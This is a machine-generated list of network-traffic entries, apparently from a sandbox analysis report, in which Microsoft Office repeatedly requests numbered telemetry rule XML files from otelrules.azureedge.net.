Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
